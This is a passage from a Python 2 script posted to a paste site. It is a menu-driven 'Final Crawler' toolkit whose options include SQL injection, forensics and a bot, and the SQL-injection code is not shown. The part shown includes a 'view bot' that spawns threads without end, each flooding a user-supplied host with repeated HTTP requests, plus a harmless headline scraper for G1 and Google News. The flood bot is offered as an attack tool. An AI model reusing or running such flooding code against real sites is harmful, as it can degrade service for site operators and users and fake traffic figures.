  894.  
  895.     try:
  896.         # Lista
  897.         lista_menu = ["1", "2"]
  898.  
  899.         # Apresentacao
  900.         os.system("clear")
  901.         print("")
  902.         print("\033[01;34m +++++++++++++++++++ \033[01;37m")
  903.         print("\033[01;36m      Crawler        \033[01;37m")
  904.         print("\033[01;32m        BOT          \033[01;37m")
  905.         print("\033[01;34m +++++++++++++++++++ \033[01;37m")
  906.         print("\n\033[01;33m [1] Visualizacoes \033[01;37m")
  907.         print("\033[01;36m [2] Noticias Brasil \033[01;37m")
  908.  
  909.         # Entrada de dados
  910.         opc = raw_input("\n\033[01;31m Opc: \033[01;37m")
  911.  
  912.         # Estrutura em laco
  913.         while opc not in lista_menu:
  914.  
  915.             try:
  916.                 # Apresentacao
  917.                 os.system("clear")
  918.                 print("")
  919.                 print("\033[01;34m +++++++++++++++++++ \033[01;37m")
  920.                 print("\033[01;36m      Crawler        \033[01;37m")
  921.                 print("\033[01;32m        BOT          \033[01;37m")
  922.                 print("\033[01;34m +++++++++++++++++++ \033[01;37m")
  923.                 print("\033[01;33m [1] Visualizacoes Facebook \033[01;37m")
  924.                 print("\033[01;36m [2] Noticias Google        \033[01;37m")
  925.  
  926.                 # Entrada de dados
  927.                 opc = raw_input("\n\033[01;31m Opc: \033[01;37m")
  928.  
  929.             except:
  930.                 continue
  931.  
  932.         # Estrutura de decisao
  933.  
  934.         # Opcao 1
  935.         if opc == "1":
  936.  
  937.             # Chamada de metodo
  938.             Crawler_BOT_visualizacoes()
  939.  
  940.         # Opcao 2
  941.         if opc == "2":
  942.  
  943.             # Chamada de metodo
  944.             Crawler_BOT_noticias()
  945.  
  946.     except:
  947.         pass
  948.  
  949. # Crawler_BOT_visualizacoes
  950. def Crawler_BOT_visualizacoes():
  951.  
  952.     os.system("clear")
  953.     print("")
  954.     print("\033[01;34m +++++++++++++++++++ \033[01;37m")
  955.     print("\033[01;36m      Crawler        \033[01;37m")
  956.     print("\033[01;32m        BOT          \033[01;37m")
  957.     print("\033[01;34m +++++++++++++++++++ \033[01;37m")
  958.     print("")
  959.  
  960.     # Entrada de dados:
  961.     url = str(raw_input("\033[01;36m - Host (http://www.bancocn.com): \033[01;37m"))
  962.  
  963.     def visualizacao(controle):
  964.  
  965.         while True:
  966.  
  967.             try:
  968.                 # Configuracao
  969.                 header = {"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0"}
  970.  
  971.                 # Requisicao
  972.                 requisicao = requests.get(url=url, headers=header)
  973.  
  974.                 # Saida de dados
  975.                 print("\n - Site: " + str(requisicao.url))
  976.                 print(" - Requisicao: " + str(requisicao.request))
  977.                 print(" - Codigo de saida: " + str(requisicao.status_code))
  978.  
  979.                 for i, j in requisicao.headers.items():
  980.                     print(" - " + str(i) + ": " + str(j))
  981.  
  982.             except:
  983.                 continue
  984.  
  985.     # Bot de visualizacao infinita (!!! Cuidado o sistema pode travar !!!)
  986.     while True:
  987.  
  988.         for i in range(True):
  989.  
  990.             threading.Thread(target=visualizacao, args=[str(i)]).start()
  991.  
  992. # Crawler_BOT_noticias
  993. def Crawler_BOT_noticias():
  994.  
  995.     # Sub-Metodo
  996.     def Noticias():
  997.  
  998.         try:
  999.             # Sistema
  1000.             os.system("clear")
  1001.  
  1002.             # Configuracoes
  1003.             url = "https://g1.globo.com"
  1004.             cabecalho = {"user-agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)"}
  1005.  
  1006.             # Html aperfeicoado
  1007.             html = requests.get(url=url, headers=cabecalho).text
  1008.             html_super = bs4.BeautifulSoup(html, "html.parser")
  1009.  
  1010.             # Crawler
  1011.             noticias = html_super.find_all(class_="feed-post-link gui-color-primary gui-color-hover")
  1012.  
  1013.             print("\n\033[01;32m *** Principais noticias G1 *** \033[01;37m\n")
  1014.             for i in range(0, len(noticias)):
  1015.  
  1016.                 print("\033[01;34m * Noticas: \033[01;37m" + str(noticias[i].get_text()))
  1017.  
  1018.             time.sleep(120)
  1019.             Google_Brasil()
  1020.  
  1021.         except Exception as e:
  1022.             print e
  1023.             pass
  1024.  
  1025.     def Google_Brasil():
  1026.  
  1027.         lista = []
  1028.  
  1029.         try:
  1030.             os.system("clear")
  1031.  
  1032.             url = "https://news.google.com/?hl=pt-BR&gl=BR&ceid=BR:pt-419"
  1033.             url_ajuste = "https://news.google.com"
  1034.             cabecalho = {"user-agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)"}
  1035.  
  1036.             # Html aperfeicoado
  1037.             html = requests.get(url=url, headers=cabecalho).text
  1038.             html_super = bs4.BeautifulSoup(html, "html.parser")
  1039.  
  1040.             # Procurando
  1041.             noticias = html_super.find_all(class_="DY5T1d")
  1042.  
  1043.             print("\n\033[01;34m *** Principais noticias Google Brasil *** \033[01;37m")
  1044.  
  1045.             for i in range(0, len(noticias)):
  1046.                 print("\033[01;32m * Noticas: \033[01;37m" + str(noticias[i].get_text()))
  1047.                 # print("\033[01;36m # Links: \033[01;37m" + str(str(url_ajuste) + str(noticias[i].get("href"))))
  1048.                 # print("\033[01;36m # Links: \033[01;37m" + str(noticias[i].get("href")))
  1049.             time.sleep(300)
  1050.  
  1051.         except Exception as e:
  1052.             print(e)
  1053.             pass
  1054.  
  1055.     while True:
  1056.         # Chamada de metodo
  1057.         Noticias()
  1058.  
  1059. ######################################
  1060. #          CONTROLE DE MENU          #
  1061. ######################################
  1062.  
  1063. # Metodo: Menu principal
  1064. def Menu():
  1065.  
  1066.     # Lista
  1067.     lista_menu = ["1", "2", "3", "4", "5"]
  1068.  
  1069.     # Apresentacao
  1070.     os.system("clear")
  1071.     print("")
  1072.     print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  1073.     print("\033[01;36m      Final Crawler        \033[01;37m")
  1074.     print("\033[01;32m      DarkProgrammer000    \033[01;37m")
  1075.     print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  1076.     print("")
  1077.     print("\033[01;32m [1] HTML          \033[01;37m")
  1078.     print("\033[01;33m [2] FORENSICS     \033[01;37m")
  1079.     print("\033[01;34m [3] SQL INJECTION \033[01;37m")
  1080.     print("\033[01;36m [4] BOT           \033[01;37m")
  1081.     print("\033[01;37m [5] SAIR          \033[01;37m")
  1082.  
  1083.     # Entrada de dados
  1084.     opc = raw_input("\n\033[01;31m + Opc: \033[01;37m")
  1085.  
  1086.     # Estrutura em laco: Protecao de menu
  1087.     while opc not in lista_menu:
  1088.  
  1089.         try:
  1090.             # Apresentacao
  1091.             os.system("clear")
  1092.             print("")
  1093.             print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  1094.             print("\033[01;36m      Final Crawler        \033[01;37m")
  1095.             print("\033[01;32m      DarkProgrammer000    \033[01;37m")
  1096.             print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  1097.             print("")
  1098.             print("\033[01;32m [1] HTML          \033[01;37m")
  1099.             print("\033[01;33m [2] FORENSICS     \033[01;37m")
  1100.             print("\033[01;34m [3] SQL INJECTION \033[01;37m")
  1101.             print("\033[01;36m [4] BOT           \033[01;37m")
  1102.             print("\033[01;37m [5] SAIR          \033[01;37m")
  1103.  
  1104.             # Entrada de dados
  1105.             opc = raw_input("\n\033[01;31m + Opc: \033[01;37m")
  1106.  
  1107.         except:
  1108.             continue
  1109.  
  1110.     # Retorno de opcao
  1111.     return opc
  1112.  
  1113. # Metodos: Tipos de ataques
  1114. def Crawler_types(opc):
  1115.  
  1116.     ### Estrutura de decisao ###
  1117.  
  1118.     # Opcao: 1
  1119.     if opc == "1":
  1120.  
  1121.         # Chamada de metodo
  1122.         Crawler_HTML()
  1123.  
  1124.     # Opcao: 2
  1125.     elif opc == "2":
  1126.  
  1127.         # Chamada de metodo
  1128.         Crawler_Forensics_menu()
  1129.  
  1130.     # Opcao: 3
  1131.     elif opc == "3":
  1132.  
  1133.         # Chamada de metodo
  1134.         Crawler_SQL_menu()
  1135.  
  1136.     # Opcao: 4
  1137.     elif opc == "4":
  1138.  
  1139.         # Chamada de metodo
  1140.         Crawler_BOT_menu()
  1141.  
  1142.     # Opcao: 5
  1143.     elif opc == "5":
  1144.  
  1145.         # Chamada de metodo
  1146.         sys.exit(0)
  1147.  
  1148. ##########################################
  1149. #          CONTROLE DO PROGRAMA          #
  1150. ##########################################
  1151.  
  1152. # Metodo do sistema
  1153. def Sistema():
  1154.  
  1155.     # Configuracoes do Sistema
  1156.     os.environ['TERM'] = 'xterm'
  1157.     reload(sys)
  1158.  
  1159.     # Padrao: UTF-8
  1160.     sys.setdefaultencoding('utf-8')
  1161.  
  1162. # Metodo Principal
  1163. def Main():
  1164.  
  1165.     # here is the animation
  1166.     def animate():
  1167.  
  1168.         for c in itertools.cycle(['|', '/', '-', '\\']):
  1169.  
  1170.             if done:
  1171.                 break
  1172.  
  1173.             # Loading
  1174.             sys.stdout.write("\r\033[01;32m # Loading \033[01;37m" + "\033[01;31m" + c + "\033[01;37m")
  1175.             sys.stdout.flush()
  1176.             time.sleep(0.01)
  1177.  
  1178.     # Apresentacao de curto duracao
  1179.     os.system("clear")
  1180.     print("\033[01;30m =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== \033[01;37m")
  1181.     print("\033[01;30m =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== \033[01;37m")
  1182.     print("\033[01;32m +                    Dark Programmer 000                    + \033[01;37m")
  1183.     print("\033[01;30m =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== \033[01;37m")
  1184.     print("\033[01;30m =-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== \033[01;37m")
  1185.     print("")
  1186.  
  1187.     done = False
  1188.     t = threading.Thread(target=animate)
  1189.     t.start()
  1190.  
  1191.     # Processamento
  1192.     time.sleep(1)
  1193.     done = True
  1194.  
  1195.     # Chamada de metodos: Tipos de crawlers aglomerado ao MENU
  1196.     Crawler_types(Menu())
  1197.  
  1198. # Execucao do metodo principal
  1199. if __name__ == '__main__':
  1200.  
  1201.     try:
  1202.         # Chamada de metodos: Configuracoes do sistema
  1203.         Sistema()
  1204.  
  1205.         # Chamada de metodo principal
  1206.         Main()
  1207.  
  1208.     except:
  1209.         pass
RAW Paste Data